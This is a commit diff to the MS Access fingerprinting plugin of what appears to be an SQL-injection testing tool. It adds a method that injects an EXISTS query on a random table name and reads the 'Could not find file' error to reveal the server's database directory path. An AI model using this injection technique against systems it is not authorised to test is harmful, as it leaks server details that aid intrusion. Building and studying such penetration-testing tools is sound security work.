one more ms access update

plugins/dbms/access/fingerprint.py

@@ -14,6 +14,8 @@ from lib.core.common import formatDBMSfp
 from lib.core.common import formatFingerprint
 from lib.core.common import getHtmlErrorFp
 from lib.core.common import randomInt
+from lib.core.common import randomStr
+from lib.core.common import wasLastRequestError
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
@@ -83,6 +85,30 @@ class Fingerprint(GenericFingerprint):
 
         return None
 
+    def __getDatabaseDir(self):
+        retVal = None
+
+        infoMsg = "searching for database directory"
+        logger.info(infoMsg)
+
+        randInt = randomInt()
+        randStr = randomStr()
+        query   = agent.prefixQuery("AND EXISTS(SELECT * FROM %s.%s WHERE %d=%d)" % (randStr, randStr, randInt, randInt))
+        query   = agent.postfixQuery(query)
+        payload = agent.payload(newValue=query)
+        page  = Request.queryPage(payload, content=True)
+
+        if wasLastRequestError():
+            match = re.search("Could not find file\s+'([^']+?)'", page[0])
+
+            if match:
+                retVal = match.group(1).rstrip("%s.mdb" % randStr)
+
+                if retVal.endswith('\\'):
+                    retVal = retVal[:-1]
+
+        return retVal
+
     def getFingerprint(self):
         value  = ""
         wsOsFp = formatFingerprint("web server", kb.headersFp)
@@ -120,6 +146,8 @@ class Fingerprint(GenericFingerprint):
         if htmlErrorFp:
             value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
 
+        value += "\ndatabase directory: '%s'" % self.__getDatabaseDir()
+
         return value
 
     def checkDbms(self):